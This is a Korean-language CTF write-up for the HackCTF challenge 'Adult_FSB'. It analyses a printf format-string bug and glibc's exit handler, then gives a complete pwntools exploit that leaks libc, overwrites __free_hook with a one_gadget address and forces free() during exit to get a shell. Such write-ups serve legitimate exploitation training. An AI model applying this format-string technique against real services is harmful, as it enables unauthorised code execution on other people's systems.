본문 바로가기
Wargame Write-Up/HackCTF

(HackCTF) Adult_FSB writeup

by snwo 2022. 2. 24.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-144h]
  char buf[312]; // [rsp+10h] [rbp-140h] BYREF
  unsigned __int64 v5; // [rsp+148h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  Init();
  for ( i = 0; i <= 1; ++i )
  {
    read(0, buf, 0x12CuLL);
    printf(buf);
  }
  exit(0);
}

입력사이즈도 넉넉하고, 두 번이나 호출할 수 있다.

하지만 full RELRO 이기 때문에, __malloc_hook 이나 __free_hook 을 덮는 방향으로 생각해야한다.

릭은 49번째에 있는 libc_start_main_ret 으로 하면 되고,

문제는 어떻게 malloc 이나 free 를 trigger 하냐이다.

전에 printf 에서 malloc trigger 해서 푸는 문제대로 %65537c 를 입력해봤지만 되지 않았고,

exit 할 때 free 를 사용한다고 했던 것 같은데 free hook 을 덮어도 trigger 되지 않아서

libc 를 좀 분석해봤다.


simple exit analysis

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}

__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
~~~
struct exit_function_list *cur;

      __libc_lock_lock (__exit_funcs_lock);

    restart:
      cur = *listp;

~~~
*listp = cur->next;
      if (*listp != NULL)
    /* Don't free the last element in the chain, this is the statically
       allocate element.  */
    free (cur);
~~~

대충 *listp→next 가 null 이 아니면, free 가 호출된다.

__run_exit_handlers (status=0x0, listp=0x7fc049188718 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=0x1, run_dtors=run_dtors@entry=0x1) at exit.c:40
40      in exit.c
gef➤  p __exit_funcs
$1 = (struct exit_function_list *) 0x7fc049189d80 <initial>
gef➤  p initial
$2 = {
  next = 0x0,
  idx = 0x1,
  fns = {{

인자로 들어가는 변수는 전역변수 initial 이고,

next 는 바로 첫번째 멤버여서 initial 을 null 이 아닌 아무값으로 덮으면 되겠다.

initial 은 심볼정보가 업어서 옆에있는 __abort_msg 를 이용해야한다.

from pwn import *
import sys
import subprocess

context.binary = binary = "./adult_fsb"
# context.log_level='debug'
context.arch="amd64"

b=ELF(binary,checksec=False)
if '1' in sys.argv:
    r = remote("ctf.j0n9hyun.xyz", 3040)
    lib = ELF("./libc.so.6", checksec=False)
    oneshot=list(map(int,subprocess.check_output(["one_gadget","--raw","libc.so.6"]).split()))
else:
    r = b.process()
    lib = b.libc
    oneshot=list(map(int,subprocess.check_output(["one_gadget","--raw",b.libc.path]).split()))

#index 8
pay=f"%49$p"
r.send(pay)
libc_base=int(r.recvn(14),16)-lib.sym['__libc_start_main']
libc_base&=~0xfff
log.info(hex(libc_base))

system=libc_base+oneshot[1]
system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff

low = system_low

if system_middle > system_low:
    middle = system_middle - system_low
else:
    middle = 0x10000 + system_middle - system_low

if system_high > system_middle:
    high = system_high - system_middle
else:
    high = 0x10000 + system_high - system_middle

free_hook=libc_base+lib.sym['__free_hook']
# offset 8
payload = b'%1c%15$hn'
payload += '%{}c'.format(low-1).encode()
payload += '%16$hn'.encode()
payload += '%{}c'.format(middle).encode()
payload += '%17$hn'.encode()
payload += '%{}c'.format(high).encode()
payload += '%18$hn'.encode()
payload += b'A' * (8 - len(payload) % 8)
payload += p64(libc_base+lib.sym['__abort_msg']+0x60)
payload += p64(free_hook)
payload += p64(free_hook + 2)
payload += p64(free_hook + 4)
pause()
r.send(payload)
log.info(hex(system))
r.interactive()

# %11$p %12$p %13$p %14$p